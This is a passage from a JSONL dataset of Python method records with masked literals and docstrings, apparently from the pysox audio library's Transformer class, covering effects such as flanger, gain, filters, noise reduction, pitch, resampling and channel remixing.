Shape of fade. Must be one of\n             * 'q' for quarter sine (default),\n             * 'h' for half sine,\n             * 't' for linear,\n             * 'l' for logarithmic\n             * 'p' for inverted parabola.\n\n        See Also\n        --------\n        splice", "id": "f3809:c0:m26"}
{"signature": "def fir(self, coefficients):", "body": "if not isinstance(coefficients, list):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not all([is_number(c) for c in coefficients]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>effect_args.extend(['<STR_LIT>'.format(c) for c in coefficients])<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Use SoX\u2019s FFT convolution engine with given FIR filter coefficients.\n\n        Parameters\n        ----------\n        coefficients : list\n            fir filter coefficients", "id": "f3809:c0:m27"}
{"signature": "def flanger(self, delay=<NUM_LIT:0>, depth=<NUM_LIT:2>, regen=<NUM_LIT:0>, width=<NUM_LIT>, speed=<NUM_LIT:0.5>,<EOL>shape='<STR_LIT>', phase=<NUM_LIT>, interp='<STR_LIT>'):", "body": "if not is_number(delay) or delay < <NUM_LIT:0> or delay > <NUM_LIT:30>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(depth) or depth < <NUM_LIT:0> or depth > <NUM_LIT:10>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(regen) or regen < -<NUM_LIT> or regen > <NUM_LIT>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(width) or width < <NUM_LIT:0> or width > <NUM_LIT:100>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(speed) or speed < <NUM_LIT:0.1> or speed > <NUM_LIT:10>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if shape not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(phase) or phase < <NUM_LIT:0> or phase > <NUM_LIT:100>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if interp not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(delay),<EOL>'<STR_LIT>'.format(depth),<EOL>'<STR_LIT>'.format(regen),<EOL>'<STR_LIT>'.format(width),<EOL>'<STR_LIT>'.format(speed),<EOL>'<STR_LIT:{}>'.format(shape),<EOL>'<STR_LIT>'.format(phase),<EOL>'<STR_LIT:{}>'.format(interp)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a flanging effect to the audio.\n\n        Parameters\n        ----------\n        delay : float, default=0\n            Base delay (in miliseconds) between 0 and 30.\n        depth : float, default=2\n            Added swept delay (in miliseconds) between 0 and 10.\n        regen : float, default=0\n            Percentage regeneration between -95 and 95.\n        width : float, default=71,\n            Percentage of delayed signal mixed with original between 0 and 100.\n        speed : float, default=0.5\n            Sweeps per second (in Hz) between 0.1 and 10.\n        shape : 'sine' or 'triangle', default='sine'\n            Swept wave shape\n        phase : float, default=25\n            Swept wave percentage phase-shift for multi-channel flange between\n            0 and 100. 0 = 100 = same phase on each channel\n        interp : 'linear' or 'quadratic', default='linear'\n            Digital delay-line interpolation type.\n\n        See Also\n        --------\n        tremolo", "id": "f3809:c0:m28"}
{"signature": "def gain(self, gain_db=<NUM_LIT:0.0>, normalize=True, limiter=False, balance=None):", "body": "if not is_number(gain_db):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(normalize, bool):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(limiter, bool):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if balance not in [None, '<STR_LIT:e>', '<STR_LIT:B>', '<STR_LIT:b>']:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>if balance is not None:<EOL><INDENT>effect_args.append('<STR_LIT>'.format(balance))<EOL><DEDENT>if normalize:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>if limiter:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>effect_args.append('<STR_LIT>'.format(gain_db))<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply amplification or attenuation to the audio signal.\n\n        Parameters\n        ----------\n        gain_db : float, default=0.0\n            Gain adjustment in decibels (dB).\n        normalize : bool, default=True\n            If True, audio is normalized to gain_db relative to full scale.\n            If False, simply adjusts the audio power level by gain_db.\n        limiter : bool, default=False\n            If True, a simple limiter is invoked to prevent clipping.\n        balance : str or None, default=None\n            Balance gain across channels. Can be one of:\n             * None applies no balancing (default)\n             * 'e' applies gain to all channels other than that with the\n                highest peak level, such that all channels attain the same\n                peak level\n             * 'B' applies gain to all channels other than that with the\n                highest RMS level, such that all channels attain the same\n                RMS level\n             * 'b' applies gain with clipping protection to all channels other\n                than that with the highest RMS level, such that all channels\n                attain the same RMS level\n            If normalize=True, 'B' and 'b' are equivalent.\n\n        See Also\n        --------\n        loudness", "id": "f3809:c0:m29"}
{"signature": "def highpass(self, frequency, width_q=<NUM_LIT>, n_poles=<NUM_LIT:2>):", "body": "if not is_number(frequency) or frequency <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(width_q) or width_q <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if n_poles not in [<NUM_LIT:1>, <NUM_LIT:2>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>', '<STR_LIT>'.format(n_poles), '<STR_LIT>'.format(frequency)<EOL>]<EOL>if n_poles == <NUM_LIT:2>:<EOL><INDENT>effect_args.append('<STR_LIT>'.format(width_q))<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a high-pass filter with 3dB point frequency. The filter can be\n        either single-pole or double-pole. The filters roll off at 6dB per pole\n        per octave (20dB per pole per decade).\n\n        Parameters\n        ----------\n        frequency : float\n            The filter's cutoff frequency in Hz.\n        width_q : float, default=0.707\n            The filter's width as a Q-factor. Applies only when n_poles=2.\n            The default gives a Butterworth response.\n        n_poles : int, default=2\n            The number of poles in the filter. Must be either 1 or 2\n\n        See Also\n        --------\n        lowpass, equalizer, sinc, allpass", "id": "f3809:c0:m30"}
{"signature": "def lowpass(self, frequency, width_q=<NUM_LIT>, n_poles=<NUM_LIT:2>):", "body": "if not is_number(frequency) or frequency <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(width_q) or width_q <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if n_poles not in [<NUM_LIT:1>, <NUM_LIT:2>]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>', '<STR_LIT>'.format(n_poles), '<STR_LIT>'.format(frequency)<EOL>]<EOL>if n_poles == <NUM_LIT:2>:<EOL><INDENT>effect_args.append('<STR_LIT>'.format(width_q))<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a low-pass filter with 3dB point frequency. The filter can be\n        either single-pole or double-pole. The filters roll off at 6dB per pole\n        per octave (20dB per pole per decade).\n\n        Parameters\n        ----------\n        frequency : float\n            The filter's cutoff frequency in Hz.\n        width_q : float, default=0.707\n            The filter's width as a Q-factor. Applies only when n_poles=2.\n            The default gives a Butterworth response.\n        n_poles : int, default=2\n            The number of poles in the filter. Must be either 1 or 2\n\n        See Also\n        --------\n        highpass, equalizer, sinc, allpass", "id": "f3809:c0:m31"}
{"signature": "def hilbert(self, num_taps=None):", "body": "if num_taps is not None and not isinstance(num_taps, int):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if num_taps is not None and num_taps % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>if num_taps is not None:<EOL><INDENT>effect_args.extend(['<STR_LIT>', '<STR_LIT:{}>'.format(num_taps)])<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply an odd-tap Hilbert transform filter, phase-shifting the signal\n        by 90 degrees. This is used in many matrix coding schemes and for\n        analytic signal generation. The process is often written as a\n        multiplication by i (or j), the imaginary unit. An odd-tap Hilbert\n        transform filter has a bandpass characteristic, attenuating the lowest\n        and highest frequencies.\n\n        Parameters\n        ----------\n        num_taps : int or None, default=None\n            Number of filter taps - must be odd. If none, it is chosen to have\n            a cutoff frequency of about 75 Hz.", "id": "f3809:c0:m32"}
{"signature": "def loudness(self, gain_db=-<NUM_LIT>, reference_level=<NUM_LIT>):", "body": "if not is_number(gain_db):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not is_number(reference_level):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if reference_level > <NUM_LIT> or reference_level < <NUM_LIT:50>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(gain_db),<EOL>'<STR_LIT>'.format(reference_level)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Loudness control. Similar to the gain effect, but provides\n        equalisation for the human auditory system.\n\n        The gain is adjusted by gain_db and the signal is equalised according\n        to ISO 226 w.r.t. reference_level.\n\n        Parameters\n        ----------\n        gain_db : float, default=-10.0\n            Loudness adjustment amount (in dB)\n        reference_level : float, default=65.0\n            Reference level (in dB) according to which the signal is equalized.\n            Must be between 50 and 75 (dB)\n\n        See Also\n        --------\n        gain", "id": "f3809:c0:m33"}
{"signature": "def mcompand(self, n_bands=<NUM_LIT:2>, crossover_frequencies=[<NUM_LIT>],<EOL>attack_time=[<NUM_LIT>, <NUM_LIT>], decay_time=[<NUM_LIT:0.1>, <NUM_LIT>],<EOL>soft_knee_db=[<NUM_LIT>, None],<EOL>tf_points=[[(-<NUM_LIT>, -<NUM_LIT>), (-<NUM_LIT>, -<NUM_LIT>), (-<NUM_LIT>, -<NUM_LIT>), (<NUM_LIT:0>, <NUM_LIT:0>)],<EOL>[(-<NUM_LIT>, -<NUM_LIT>), (-<NUM_LIT>, -<NUM_LIT>), (-<NUM_LIT:15>, -<NUM_LIT>), (<NUM_LIT:0>, <NUM_LIT:0>)]],<EOL>gain=[None, None]):", "body": "if not isinstance(n_bands, int) or n_bands < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if (not isinstance(crossover_frequencies, list) or<EOL>len(crossover_frequencies) != n_bands - <NUM_LIT:1>):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if any([not is_number(f) or f < <NUM_LIT:0> for f in crossover_frequencies]):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(attack_time, list) or len(attack_time) != n_bands:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any([not is_number(a) or a <= <NUM_LIT:0> for a in attack_time]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(decay_time, list) or len(decay_time) != n_bands:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any([not is_number(d) or d <= <NUM_LIT:0> for d in decay_time]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any([a > d for a, d in zip(attack_time, decay_time)]):<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(soft_knee_db, list) or len(soft_knee_db) != n_bands:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any([(not is_number(d) and d is not None) for d in soft_knee_db]):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(tf_points, list) or len(tf_points) != n_bands:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any([not isinstance(t, list) or len(t) == <NUM_LIT:0> for t in tf_points]):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>for tfp in tf_points:<EOL><INDENT>if any(not isinstance(pair, tuple) for pair in tfp):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any(len(pair) != <NUM_LIT:2> for pair in tfp):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any(not (is_number(p[<NUM_LIT:0>]) and is_number(p[<NUM_LIT:1>])) for p in tfp):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if any((p[<NUM_LIT:0>] > <NUM_LIT:0> or p[<NUM_LIT:1>] > <NUM_LIT:0>) for p in tfp):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if len(tf_points) > len(set([p[<NUM_LIT:0>] for p in tfp])):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if not isinstance(gain, list) or len(gain) != n_bands:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if any([not (is_number(g) or g is None) for g in gain]):<EOL><INDENT>print(gain)<EOL>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>for i in range(n_bands):<EOL><INDENT>if i > <NUM_LIT:0>:<EOL><INDENT>effect_args.append('<STR_LIT>'.format(crossover_frequencies[i - <NUM_LIT:1>]))<EOL><DEDENT>intermed_args = [\"<STR_LIT>\".format(attack_time[i], decay_time[i])]<EOL>tf_points_band = tf_points[i]<EOL>tf_points_band = sorted(<EOL>tf_points_band,<EOL>key=lambda tf_points_band: tf_points_band[<NUM_LIT:0>]<EOL>)<EOL>transfer_list = []<EOL>for point in tf_points_band:<EOL><INDENT>transfer_list.extend([<EOL>\"<STR_LIT>\".format(point[<NUM_LIT:0>]), \"<STR_LIT>\".format(point[<NUM_LIT:1>])<EOL>])<EOL><DEDENT>if soft_knee_db[i] is not None:<EOL><INDENT>intermed_args.append(<EOL>\"<STR_LIT>\".format(soft_knee_db[i], \"<STR_LIT:U+002C>\".join(transfer_list))<EOL>)<EOL><DEDENT>else:<EOL><INDENT>intermed_args.append(\"<STR_LIT:U+002C>\".join(transfer_list))<EOL><DEDENT>if gain[i] is not None:<EOL><INDENT>intermed_args.append(\"<STR_LIT>\".format(gain[i]))<EOL><DEDENT>effect_args.append('<STR_LIT:U+0020>'.join(intermed_args))<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "The multi-band compander is similar to the single-band compander but\n        the audio is first divided into bands using Linkwitz-Riley cross-over\n        filters and a separately specifiable compander run on each band.\n\n        When used with n_bands=1, this effect is identical to compand.\n        When using n_bands > 1, the first set of arguments applies a single\n        band compander, and each subsequent set of arugments is applied on\n        each of the crossover frequencies.\n\n        Parameters\n        ----------\n        n_bands : int, default=2\n            The number of bands.\n        crossover_frequencies : list of float, default=[1600]\n            A list of crossover frequencies in Hz of length n_bands-1.\n            The first band is always the full spectrum, followed by the bands\n            specified by crossover_frequencies.\n        attack_time : list of float, default=[0.005, 0.000625]\n            A list of length n_bands, where each element is the time in seconds\n            over which the instantaneous level of the input signal is averaged\n            to determine increases in volume over the current band.\n        decay_time : list of float, default=[0.1, 0.0125]\n            A list of length n_bands, where each element is the time in seconds\n            over which the instantaneous level of the input signal is averaged\n            to determine decreases in volume over the current band.\n        soft_knee_db : list of float or None, default=[6.0, None]\n            A list of length n_bands, where each element is the ammount (in dB)\n            for which the points at where adjacent line segments on the\n            transfer function meet will be rounded over the current band.\n            If None, no soft_knee is applied.\n        tf_points : list of list of tuples, default=[\n                [(-47, -40), (-34, -34), (-17, -33), (0, 0)],\n                [(-47, -40), (-34, -34), (-15, -33), (0, 0)]]\n            A list of length n_bands, where each element is the transfer\n            function points as a list of tuples corresponding to points in\n            (dB, dB) defining the compander's transfer function over the\n            current band.\n        gain : list of floats or None\n            A list of gain values for each frequency band.\n            If None, no gain is applied.\n\n        See Also\n        --------\n        compand, contrast", "id": "f3809:c0:m34"}
{"signature": "def noiseprof(self, input_filepath, profile_path):", "body": "if os.path.isdir(profile_path):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(profile_path))<EOL><DEDENT>if os.path.dirname(profile_path) == '<STR_LIT>' and profile_path != '<STR_LIT>':<EOL><INDENT>_abs_profile_path = os.path.join(os.getcwd(), profile_path)<EOL><DEDENT>else:<EOL><INDENT>_abs_profile_path = profile_path<EOL><DEDENT>if not os.access(os.path.dirname(_abs_profile_path), os.W_OK):<EOL><INDENT>raise IOError(<EOL>\"<STR_LIT>\".format(_abs_profile_path))<EOL><DEDENT>effect_args = ['<STR_LIT>', profile_path]<EOL>self.build(input_filepath, None, extra_args=effect_args)<EOL>return None<EOL>", "docstring": "Calculate a profile of the audio for use in noise reduction.\n        Running this command does not effect the Transformer effects\n        chain. When this function is called, the calculated noise profile\n        file is saved to the `profile_path`.\n\n        Parameters\n        ----------\n        input_filepath : str\n            Path to audiofile from which to compute a noise profile.\n        profile_path : str\n            Path to save the noise profile file.\n\n        See Also\n        --------\n        noisered", "id": "f3809:c0:m35"}
{"signature": "def noisered(self, profile_path, amount=<NUM_LIT:0.5>):", "body": "if not os.path.exists(profile_path):<EOL><INDENT>raise IOError(<EOL>\"<STR_LIT>\".format(profile_path))<EOL><DEDENT>if not is_number(amount) or amount < <NUM_LIT:0> or amount > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>profile_path,<EOL>'<STR_LIT>'.format(amount)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Reduce noise in the audio signal by profiling and filtering.\n        This effect is moderately effective at removing consistent\n        background noise such as hiss or hum.\n\n        Parameters\n        ----------\n        profile_path : str\n            Path to a noise profile file.\n            This file can be generated using the `noiseprof` effect.\n        amount : float, default=0.5\n            How much noise should be removed is specified by amount. Should\n            be between 0 and 1.  Higher numbers will remove more noise but\n            present a greater likelihood  of  removing wanted  components  of\n            the  audio  signal.\n\n        See Also\n        --------\n        noiseprof", "id": "f3809:c0:m36"}
{"signature": "def norm(self, db_level=-<NUM_LIT>):", "body": "if not is_number(db_level):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(db_level)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Normalize an audio file to a particular db level.\n        This behaves identically to the gain effect with normalize=True.\n\n        Parameters\n        ----------\n        db_level : float, default=-3.0\n            Output volume (db)\n\n        See Also\n        --------\n        gain, loudness", "id": "f3809:c0:m37"}
{"signature": "def oops(self):", "body": "effect_args = ['<STR_LIT>']<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Out Of Phase Stereo effect. Mixes stereo to twin-mono where each\n        mono channel contains the difference between the left and right stereo\n        channels. This is sometimes known as the 'karaoke' effect as it often\n        has the effect of removing most or all of the vocals from a recording.", "id": "f3809:c0:m38"}
{"signature": "def overdrive(self, gain_db=<NUM_LIT>, colour=<NUM_LIT>):", "body": "if not is_number(gain_db):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not is_number(colour):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(gain_db),<EOL>'<STR_LIT>'.format(colour)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply non-linear distortion.\n\n        Parameters\n        ----------\n        gain_db : float, default=20\n            Controls the amount of distortion (dB).\n        colour : float, default=20\n            Controls the amount of even harmonic content in the output (dB).", "id": "f3809:c0:m39"}
{"signature": "def pad(self, start_duration=<NUM_LIT:0.0>, end_duration=<NUM_LIT:0.0>):", "body": "if not is_number(start_duration) or start_duration < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(end_duration) or end_duration < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(start_duration),<EOL>'<STR_LIT>'.format(end_duration)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Add silence to the beginning or end of a file.\n        Calling this with the default arguments has no effect.\n\n        Parameters\n        ----------\n        start_duration : float\n            Number of seconds of silence to add to beginning.\n        end_duration : float\n            Number of seconds of silence to add to end.\n\n        See Also\n        --------\n        delay", "id": "f3809:c0:m40"}
{"signature": "def phaser(self, gain_in=<NUM_LIT>, gain_out=<NUM_LIT>, delay=<NUM_LIT:3>, decay=<NUM_LIT>, speed=<NUM_LIT:0.5>,<EOL>modulation_shape='<STR_LIT>'):", "body": "if not is_number(gain_in) or gain_in <= <NUM_LIT:0> or gain_in > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(gain_out) or gain_out <= <NUM_LIT:0> or gain_out > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(delay) or delay <= <NUM_LIT:0> or delay > <NUM_LIT:5>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(decay) or decay < <NUM_LIT:0.1> or decay > <NUM_LIT:0.5>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_number(speed) or speed < <NUM_LIT:0.1> or speed > <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if modulation_shape not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(gain_in),<EOL>'<STR_LIT>'.format(gain_out),<EOL>'<STR_LIT>'.format(delay),<EOL>'<STR_LIT>'.format(decay),<EOL>'<STR_LIT>'.format(speed)<EOL>]<EOL>if modulation_shape == '<STR_LIT>':<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>elif modulation_shape == '<STR_LIT>':<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Apply a phasing effect to the audio.\n\n        Parameters\n        ----------\n        gain_in : float, default=0.8\n            Input volume between 0 and 1\n        gain_out: float, default=0.74\n            Output volume between 0 and 1\n        delay : float, default=3\n            Delay in miliseconds between 0 and 5\n        decay : float, default=0.4\n            Decay relative to gain_in, between 0.1 and 0.5.\n        speed : float, default=0.5\n            Modulation speed in Hz, between 0.1 and 2\n        modulation_shape : str, defaul='sinusoidal'\n            Modulation shpae. One of 'sinusoidal' or 'triangular'\n\n        See Also\n        --------\n        flanger, tremolo", "id": "f3809:c0:m41"}
{"signature": "def pitch(self, n_semitones, quick=False):", "body": "if not is_number(n_semitones):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if n_semitones < -<NUM_LIT:12> or n_semitones > <NUM_LIT:12>:<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(quick, bool):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>if quick:<EOL><INDENT>effect_args.append('<STR_LIT>')<EOL><DEDENT>effect_args.append('<STR_LIT>'.format(n_semitones * <NUM_LIT>))<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Pitch shift the audio without changing the tempo.\n\n        This effect uses the WSOLA algorithm. The audio is chopped up into\n        segments which are then shifted in the time domain and overlapped\n        (cross-faded) at points where their waveforms are most similar as\n        determined by measurement of least squares.\n\n        Parameters\n        ----------\n        n_semitones : float\n            The number of semitones to shift. Can be positive or negative.\n        quick : bool, default=False\n            If True, this effect will run faster but with lower sound quality.\n\n        See Also\n        --------\n        bend, speed, tempo", "id": "f3809:c0:m42"}
{"signature": "def rate(self, samplerate, quality='<STR_LIT:h>'):", "body": "quality_vals = ['<STR_LIT:q>', '<STR_LIT:l>', '<STR_LIT:m>', '<STR_LIT:h>', '<STR_LIT:v>']<EOL>if not is_number(samplerate) or samplerate <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if quality not in quality_vals:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format('<STR_LIT:U+0020>'.join(quality_vals))<EOL>)<EOL><DEDENT>effect_args = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'.format(quality),<EOL>'<STR_LIT>'.format(samplerate)<EOL>]<EOL>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Change the audio sampling rate (i.e. resample the audio) to any\n        given `samplerate`. Better the resampling quality = slower runtime.\n\n        Parameters\n        ----------\n        samplerate : float\n            Desired sample rate.\n        quality : str\n            Resampling quality. One of:\n             * q : Quick - very low quality,\n             * l : Low,\n             * m : Medium,\n             * h : High (default),\n             * v : Very high\n\n        See Also\n        --------\n        upsample, downsample, convert", "id": "f3809:c0:m43"}
{"signature": "def remix(self, remix_dictionary=None, num_output_channels=None):", "body": "if not (isinstance(remix_dictionary, dict) or<EOL>remix_dictionary is None):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if remix_dictionary is not None:<EOL><INDENT>if not all([isinstance(i, int) and i > <NUM_LIT:0> for i<EOL>in remix_dictionary.keys()]):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not all([isinstance(v, list) for v<EOL>in remix_dictionary.values()]):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>for v_list in remix_dictionary.values():<EOL><INDENT>if not all([isinstance(v, int) and v > <NUM_LIT:0> for v in v_list]):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT><DEDENT>if not ((isinstance(num_output_channels, int) and<EOL>num_output_channels > <NUM_LIT:0>) or num_output_channels is None):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>effect_args = ['<STR_LIT>']<EOL>if remix_dictionary is None:<EOL><INDENT>effect_args.append('<STR_LIT:->')<EOL><DEDENT>else:<EOL><INDENT>if num_output_channels is None:<EOL><INDENT>num_output_channels = max(remix_dictionary.keys())<EOL><DEDENT>for channel in range(<NUM_LIT:1>, num_output_channels + <NUM_LIT:1>):<EOL><INDENT>if channel in remix_dictionary.keys():<EOL><INDENT>out_channel = '<STR_LIT:U+002C>'.join(<EOL>[str(i) for i in remix_dictionary[channel]]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>out_channel = '<STR_LIT:0>'<EOL><DEDENT>effect_args.append(out_channel)<EOL><DEDENT><DEDENT>self.effects.extend(effect_args)<EOL>self.effects_log.append('<STR_LIT>')<EOL>return self<EOL>", "docstring": "Remix the channels of an audio file.\n\n        Note: volume options are not yet implemented\n\n        Parameters\n        ----------\n        remix_dictionary : dict or None\n            Dictionary mapping output channel to list of input channel(s).\n            Empty lists indicate the corresponding output channel should be\n            empty. If None, mixes all channels down to a single mono file.\n        num_output_channels : int or None\n            The number of channels in the output file. If None, the number of\n            output channels is equal to the largest key in remix_dictionary.\n            If remix_dictionary is None, this variable is ignored.\n\n        Examples\n        --------\n        Remix a 4-channel input file. The output file will have\n        input channel 2 in channel 1, a mixdown of input channels 1 an 3 in\n        channel 2, an empty channel 3, and a copy of input channel 4 in\n        channel 4.\n\n        >>> import sox\n        >>> tfm = sox.Transformer()\n        >>> remix_dictionary = {1: [2], 2: [1, 3], 4: [4]}\n        >>> tfm.remix(remix_dictionary)", "id": "f3809:c0:m44"}
